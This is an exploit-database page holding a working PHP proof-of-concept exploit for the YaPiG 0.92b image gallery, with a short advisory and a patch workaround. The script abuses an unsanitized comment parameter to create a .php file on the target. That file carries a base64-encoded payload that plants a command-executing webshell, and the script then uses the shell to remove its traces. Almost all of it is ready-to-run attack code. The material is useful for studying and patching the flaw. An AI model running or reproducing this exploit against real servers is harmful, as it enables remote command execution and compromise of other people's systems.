PageRenderTime 45ms CodeModel.GetById 18ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/24359.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 119 lines | 51 code | 20 blank | 48 comment | 5 complexity | b18d7a7a587a7c04de8e1040ea0fcabc MD5 | raw file
Possible License(s): GPL-2.0
  1. source: http://www.securityfocus.com/bid/10891/info
  2. A vulnerability is reported to exist in YaPiG that may allow a remote attacker to execute malicious scripts on a vulnerable system. This issue exists due to a lack if sanitization of user-supplied data.
  3. It is reported that an attacker may be able to upload content that will be saved on the server with a '.php' extension. When this file is requested by the attacker, the contents of the file will be parsed and executed by the PHP engine, rather than being sent.
  4. Successful exploitation of this issue may allow an attacker to execute malicious script code on a vulnerable server.
  5. Version 0.92b is reported vulnerable to this issue. Other versions may also be affected.
  6. #!/usr/bin/php
  7. <?
  8. /*
  9. YaPiG 0.92b add_coment PHP Insertion Proof of Concept
  10. By aCiDBiTS acidbits@hotmail.com 07-August-2004
  11. Description:
  12. YaPiG (http://yapig.sourceforge.net/) is a PHP Image Gallery script.
  13. This Proof of Concept creates a small webshell script in the server
  14. that we can use to exec commands in the server.
  15. First it determines a valid photo directory where to create the script.
  16. Then creates a crafted comment saved in a new .php file. This comment
  17. contains an encoded webshell. Once this .php file is opened, the code
  18. contained creates acidwebshell.php.
  19. Usage (in my debian box):
  20. php4 -q yapig_addc_poc.php "http://127.0.0.1/yapig-0.92b"
  21. Vulnerability:
  22. There is no user input sanization in some parameters of add_comment.php.
  23. This allows to create a file with the extension that we want, and we can
  24. insert any code in it.Version 0.92b is vulnerable, I haven't tested
  25. older ones.
  26. Workaround. Modify this lines of code:
  27. add_comment.php
  28. line 105:
  29. $comments_file= $gid_dir . $gid . "_" . $phid;
  30. Modify with:
  31. $comments_file= $gid_dir . $gid . "_" . intval($phid);
  32. functions.php, construct_comment_line()
  33. line 699-700:
  34. $linea=$linea . $data_array['mail'] . $SEPARATOR;
  35. $linea=$linea . $data_array['web'] . $SEPARATOR;
  36. Modify with:
  37. $linea=$linea . htmlspecialchars($data_array['mail']) . $SEPARATOR;
  38. $linea=$linea . htmlspecialchars($data_array['web']) . $SEPARATOR;
  39. */
  40. echo "+-------------------------------------------------------+\n| YaPiG 0.92b add_coment PHP Insertion Proof of
  41. +Concept |\n| By aCiDBiTS acidbits@hotmail.com 07-August-2004
  42. +|\n+-------------------------------------------------------+\n\n";
  43. /* This is my webshell script generator. It contains the webshell encoded
  44. to avoid magic_quotes and urldecode altering the content of the script. */
  45. $websh="<?php \$f=fopen(trim(base64_decode(YWNpZHdlYnNoZWxsLnBocCAg)),w);fputs(\$f,trim(base64_decode(IDxodG1sPjxoZWFkPjx0aXRsZT5hQ2lEQmlUUyBXZWJTaGVsbCA8L3RpdGxlPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiPjwvaGVhZD4NCjxib2R5PjxoMj5hQ2lEQmlUUyBXZWJTaGVsbCB2MS4wPC9oMj4gPGZvcm0gbmFtZT0iZjEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJhY2lkd2Vic2hlbGwucGhwIj4gIENvbW1hbmQ6ICANCjxpbnB1dCBuYW1lPSJjIiB0eXBlPSJ0ZXh0IiBpZD0iYyIgc2l6ZT0iMzAiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIj4gPC9mb3JtPjxicj4gDQo8dGFibGUgd2lkdGg9IjEwMCUiICBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIzIj4gPHRyPjx0ZD48PyAkYz0kX1BPU1RbJ2MnXTsgaWYoaXNzZXQoJGMpKSAgeyBlY2hvICI8cHJlPiI7ZWNobyBubDJicihwYXNzdGhydSgkYykpLiI8L3ByZT4iOw0KfSBlbHNlIHtlY2hvICJQbGVhc2UgZW50ZXIgY29tbWFuZCB0byBleGVjdXRlLiBFZzogbHMiO30gPz4gPC90ZD4gPC90cj48L3RhYmxlPiBUaGlzIHNjcmlwdCBpcyBmb3IgZWR1Y2F0aW9uYWwgcHVycG9zZXMuIEknbSBub3QgcmVzcG9uc2FibGUgDQpmb3IgYW55IGlsZWdhbCBhY3Rpb24gcHJvZHVjZWQgYnkgaXRzIHVzZS4gPGEgaHJlZj0ibWFpbHRvOmFjaWRiaXRzQGhvdG1haWwuY29tIj5hQ2lEQmlUUzwvYT4gPC9ib2R5PjwvaHRtbD4g)));fclose(\$f); ?>";
  46. if($argc<2) die("Usage: ".$argv[0]." URL_to_YaPiG_script\n\n");
  47. $host=$argv[1];
  48. if(substr($host,strlen($host)-1,1)!='/') $host.='/';
  49. echo "[+] Getting valid gid & photo path ... ";
  50. $webc=get_web($host);
  51. $temp=explode(";gid=",$webc);
  52. $gid=intval($temp[1]);
  53. $temp=explode("photos/",$webc);
  54. $temp=explode("/",$temp[1]);
  55. $path=$temp[0];
  56. if( !$gid || !$path ) die( "Failed!\n\n");
  57. echo "OK\n GID: $gid\n Path: ".$host."photos/".$path."/\n\n";
  58. echo "[+] Creating WebShell Script ... ";
  59. send_post( $host."add_comment.php?gid=".$gid."&phid=.php", "tit=a&aut=a&mail=".urlencode($websh)."&web=&msg=a&date=&send=Send");
  60. $webc=get_web( $host."photos/".$path."/".$gid."_.php" );
  61. send_post( $host."photos/".$path."/acidwebshell.php", "c=".urlencode("rm ".$gid."_.php") );
  62. echo "OK\n Now go to: ".$host."photos/".$path."/acidwebshell.php";
  63. die("\n\nDone!\n\n");
  64. function get_web($url)
  65. {
  66. $ch=curl_init();
  67. curl_setopt ($ch, CURLOPT_URL, $url);
  68. curl_setopt ($ch, CURLOPT_HEADER, 0);
  69. curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
  70. $data=curl_exec ($ch);
  71. curl_close ($ch);
  72. return $data;
  73. }
  74. function send_post($url,$data)
  75. {
  76. $ch=curl_init();
  77. curl_setopt ($ch, CURLOPT_URL, $url );
  78. curl_setopt ($ch, CURLOPT_HEADER, 0);
  79. curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
  80. curl_setopt ($ch, CURLOPT_POST, 1);
  81. curl_setopt ($ch, CURLOPT_POSTFIELDS, $data );
  82. $data=curl_exec ($ch);
  83. curl_close ($ch);
  84. return $data;
  85. }
  86. ?>